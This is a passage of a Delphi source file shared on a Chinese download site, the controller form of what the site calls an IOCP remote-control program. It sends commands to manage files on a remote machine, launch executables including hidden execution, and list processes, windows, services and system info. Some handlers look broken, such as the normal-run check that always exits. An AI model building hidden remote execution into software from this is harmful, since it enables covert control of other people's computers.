⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fileandclientinfoctrlunit.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
📖 第 1 页 / 共 5 页
字号:
    if Length(tmpstr) <= 3 then
    begin
      //回到了磁盘列表处
      LastPath := '';
    end
    else
    begin
      //去掉末尾的'\'
      tmpstr := Copy(tmpstr, 0, Length(tmpstr) - 1);
      LastPath := ExtractFilePath(tmpstr);
    end;
    //保存当前的文件夹
    CurrentPath := tmpstr;
  end;
end;

//向上按钮,进入上一级目录
procedure TFileAndInfoCtrlForm.RTBUpDirClick(Sender: TObject);
var
  tmpstr : string;
begin
  tmpstr := LastPath;
  if tmpstr = '' then
  begin
    if ClientSocket <> 0 then
    begin
      Self.ListViewFile.Cursor := crHourGlass;
      CMDHeader.Order := CMDSendFileList;
      SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
    end;
    CurrentPath := '我的电脑';
    Exit;
  end;
  if tmpstr[Length(tmpstr)] <> '\' then tmpstr := tmpstr + '\';
  if ClientSocket <> 0 then
  begin
    Self.ListViewFile.Cursor := crHourGlass;
    CMDHeader.Order := CMDSendFileList;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
  if Length(tmpstr) <= 3 then
    //回到了磁盘列表处
    LastPath := ''
  else
  begin 
    //去掉末尾的'\'
    tmpstr := Copy(tmpstr, 0, Length(tmpstr) - 1);
    LastPath := ExtractFilePath(tmpstr);
  end;
  //保存当前的文件夹
  CurrentPath := tmpstr;
end;

//粘贴文件
procedure TFileAndInfoCtrlForm.PMPeastClick(Sender: TObject);
var
  tmpStr : string;
  srcLength, desLength : WORD;
begin
  tmpStr := CutOrCopySourceStr;
  //整理出来完整的目标文件路径
  tmpStr := RCBTreeList.Text;
  //得到长度信息
  srcLength := Length(CutOrCopySourceStr);
  desLength := Length(tmpStr);
  //得到需要发送的字符串
  tmpStr := CutOrCopySourceStr + tmpStr;
  if ClientSocket <> 0 then
  begin
    CMDHeader.Order := CMDPeastFile;
    CMDHeader.OrderExtend := CutOrCopy;
    CMDHeader.ExdSource := srcLength;
    CMDHeader.ExdDest := desLength;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
  if CutOrCopy = CMDCutFile then
    CutOrCopySourceStr := '';
end;

//复制文件
procedure TFileAndInfoCtrlForm.PMCopyClick(Sender: TObject);
begin
  if RCBTreeList.Text = '我的电脑' then Exit;
  CutOrCopy := CMDCopyFile;
  CutOrCopySourceStr := ListViewFile.Selected.SubItems[3];
end;

//剪切文件
procedure TFileAndInfoCtrlForm.PMCutClick(Sender: TObject);
begin
  if RCBTreeList.Text = '我的电脑' then Exit;
  CutOrCopy := CMDCutFile;
  CutOrCopySourceStr := ListViewFile.Selected.SubItems[3];
end;

//删除文件
procedure TFileAndInfoCtrlForm.PMDeleteClick(Sender: TObject);
var
  tmpStr : string;
begin
  if RCBTreeList.Text = '我的电脑' then Exit;
  tmpStr := ListViewFile.Selected.SubItems[3]; 
  if ClientSocket <> 0 then
  begin
    CMDHeader.Order := CMDDeleteFile;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

//重命名文件
procedure TFileAndInfoCtrlForm.PMRenameClick(Sender: TObject);
var
  tmpStr, tmpPath, TailStr : string;
  srcLength, desLength : WORD;
begin
  if RCBTreeList.Text = '我的电脑' then Exit;
  TailStr := '';
  tmpStr := ListViewFile.Selected.SubItems[3];
  if ListViewFile.Selected.SubItems[0] = '文件夹' then
    tmpStr := tmpStr + '\';
  if tmpStr[Length(tmpStr)] = '\' then
  begin
    tmpStr := Copy(tmpStr, 0, Length(tmpStr) - 1);
    TailStr := '\';
  end;
  //得到文件目录
  tmpPath := ExtractFilePath(tmpStr);
  //得到新文件名
  tmpStr := ExtractFileName(tmpStr);
  if not InputQuery('重命名', '请输入新的文件名', tmpStr) then Exit;
  //完整额目标文件路径
  tmpStr := tmpPath + tmpStr + TailStr;
  //得到长度信息
  srcLength := Length(ListViewFile.Selected.SubItems[3]);
  desLength := Length(tmpStr);
  tmpstr := ListViewFile.Selected.SubItems[3] + tmpstr;
  if ClientSocket <> 0 then
  begin
    CMDHeader.Order := CMDRenameFile;
    CMDHeader.ExdSource := srcLength;
    CMDHeader.ExdDest := desLength;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

//粘贴被激活的条件
procedure TFileAndInfoCtrlForm.PopupMenu1Popup(Sender: TObject);
begin
  if CutOrCopySourceStr = '' then
    PMPeast.Enabled := False
  else
    PMPeast.Enabled := True;
end;

//新建文件夹
procedure TFileAndInfoCtrlForm.RPMCreateDirClick(Sender: TObject);
var
  tmpStr, tmpPath : string;
begin
  if RCBTreeList.Text = '我的电脑' then Exit;
  //得到文件目录
  tmpPath := RCBTreeList.Text;
  if tmpPath[(Length(tmpPath))] <> '\' then tmpPath := tmpPath + '\';
  tmpStr := '新建文件夹';
  if not InputQuery('新建文件夹', '请输入文件夹名', tmpStr) then Exit;
  //完整目标文件路径
  tmpStr := tmpPath + tmpStr;
  if ClientSocket <> 0 then
  begin
    CMDHeader.Order := CMDMakeDir; 
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

//刷新
procedure TFileAndInfoCtrlForm.RPMRefreshClick(Sender: TObject);
var
  tmpstr : string;
begin
  tmpstr := RCBTreeList.Text;
  if tmpstr = '我的电脑' then tmpstr := '';
  if tmpstr = '' then
  begin
    if ClientSocket <> 0 then
    begin
      Self.ListViewFile.Cursor := crHourGlass;
      CMDHeader.Order := CMDSendFileList;
      SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
    end;
    Exit;
  end
  else
  begin
    if ClientSocket <> 0 then
    begin
      Self.ListViewFile.Cursor := crHourGlass;
      CMDHeader.Order := CMDSendFileList;
      SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
    end;
  end;
end;

//正常运行
procedure TFileAndInfoCtrlForm.PMRunNormalClick(Sender: TObject);
var
  tmpStr : string;
  ExeStr : string;
begin
  if ListViewFile.Selected.SubItems[0] = '文件夹' then Exit;
  tmpStr := ListViewFile.Selected.SubItems[3];
  //if tmpStr[length(tmpStr) - 3] <> '.' then Exit;
  //ExeStr := Copy(tmpStr, length(tmpStr) - 2, 3);
  if UpperCase(ExeStr) <> UpperCase('exe') then Exit;
  if (ClientSocket <> 0)  then
  begin
    CMDHeader.Order := CMDRunNormal;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

//隐藏运行
procedure TFileAndInfoCtrlForm.PMRunHideClick(Sender: TObject);
var
  tmpStr : string;
  ExeStr : string;
begin
  if ListViewFile.Selected.SubItems[0] = '文件夹' then Exit;
  tmpStr := ListViewFile.Selected.SubItems[3];
  if tmpStr[length(tmpStr) - 3] <> '.' then Exit;
  ExeStr := Copy(tmpStr, length(tmpStr) - 3, 3);
  if UpperCase(ExeStr) <> UpperCase('exe') then Exit;
  if (ClientSocket <> 0)  then
  begin
    CMDHeader.Order := CMDRunHide;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

//带有参数的运行
procedure TFileAndInfoCtrlForm.PMRunWithParamClick(Sender: TObject); 
var
  tmpStr : string;
  ExeStr : string;
  RunParam : string;
  srcLength, desLength : WORD;
begin
  if ListViewFile.Selected.SubItems[0] = '文件夹' then Exit;
  tmpStr := ListViewFile.Selected.SubItems[3];
  if tmpStr[length(tmpStr) - 3] <> '.' then Exit;
  ExeStr := Copy(tmpStr, length(tmpStr) - 3, 3);
  if UpperCase(ExeStr) <> UpperCase('exe') then Exit;
  //得到长度信息
  srcLength := Length(tmpStr);
  RunParam := '';
  if not InputQuery('输入参数', '请输入运行的参数', RunParam) then Exit;
  desLength := Length(RunParam);
  if desLength = 0 then Exit;
  //得到需要发送的字符串
  tmpStr := tmpStr +RunParam ;
  if ClientSocket <> 0 then
  begin
    CMDHeader.Order := CMDPeastFile;
    CMDHeader.OrderExtend := CutOrCopy;
    CMDHeader.ExdSource := srcLength;
    CMDHeader.ExdDest := desLength;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

//切换的时候,直接显示主机信息
procedure TFileAndInfoCtrlForm.PageControl1Change(Sender: TObject);
begin
  if PageControl1.ActivePageIndex = 1 then
  begin
    if ListViewWindowList.Items.Count > 0 then Exit;
    PageControl1.Enabled := False;
    RPMRefreshWindowListClick(Sender);
    Exit;
  end;
  if PageControl1.ActivePageIndex = 2 then
  begin
    if ListViewProcessList.Items.Count > 0 then Exit;
    PageControl1.Enabled := False;
    RPMRefreshProcessListClick(Sender);
    Exit;
  end;
  if PageControl1.ActivePageIndex = 3 then
  begin
    if ListViewService.Items.Count > 0 then Exit;
    PageControl1.Enabled := False;
    RPMRefreshListClick(Sender);
    Exit;
  end;
  if (PageControl1.ActivePageIndex = 4) then
  begin
    if ListViewSysInfo.Items.Count > 0 then Exit;
    PageControl1.Enabled := False;
    RPMRefreshSysInfoClick(Sender);
    Exit;
  end; 
end;

//获取远程信息列表
procedure TFileAndInfoCtrlForm.RPMRefreshSysInfoClick(Sender: TObject);
begin
  if (ClientSocket <> 0)then
  begin
    CMDHeader.Order := CMDGetSystemInfo;
    SetCmdSignByte(ClientSocket, CMDHeader, False);
    Self.ListViewSysInfo.Cursor := crHourGlass;
  end;
end;

//获取服务列表
procedure TFileAndInfoCtrlForm.RPMRefreshListClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDGetServcieList;
    SetCmdSignByte(ClientSocket, CMDHeader, False);
    Self.ListViewService.Cursor := crHourGlass;
  end;
end;

//获取窗口列表
procedure TFileAndInfoCtrlForm.RPMRefreshWindowListClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDGetWindowList;
    SetCmdSignByte(ClientSocket, CMDHeader, False);
    Self.ListViewWindowList.Cursor := crHourGlass;
  end;
end;

//获取进程列表
procedure TFileAndInfoCtrlForm.RPMRefreshProcessListClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDGetProcessList;
    SetCmdSignByte(ClientSocket, CMDHeader, False);
    Self.ListViewProcessList.Cursor := crHourGlass;
  end;
end;

(*-------------------------------------排序----------------------------------*)

//ListViewService 排序
procedure TFileAndInfoCtrlForm.ListViewServiceColumnClick(Sender: TObject;
  Column: TListColumn);
begin
  ServiceListSortCol := Column.Index;
  if (ServiceListSortWay = 1) then ServiceListSortWay := -1 else ServiceListSortWay := 1;
  (Sender as TCustomListView).AlphaSort;
end;

//ListViewService 排序
procedure TFileAndInfoCtrlForm.ListViewServiceCompare(Sender: TObject;
  Item1, Item2: TListItem; Data: Integer; var Compare: Integer);
var
  t : Integer;
begin 
  if (ServiceListSortCol = 0) then

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -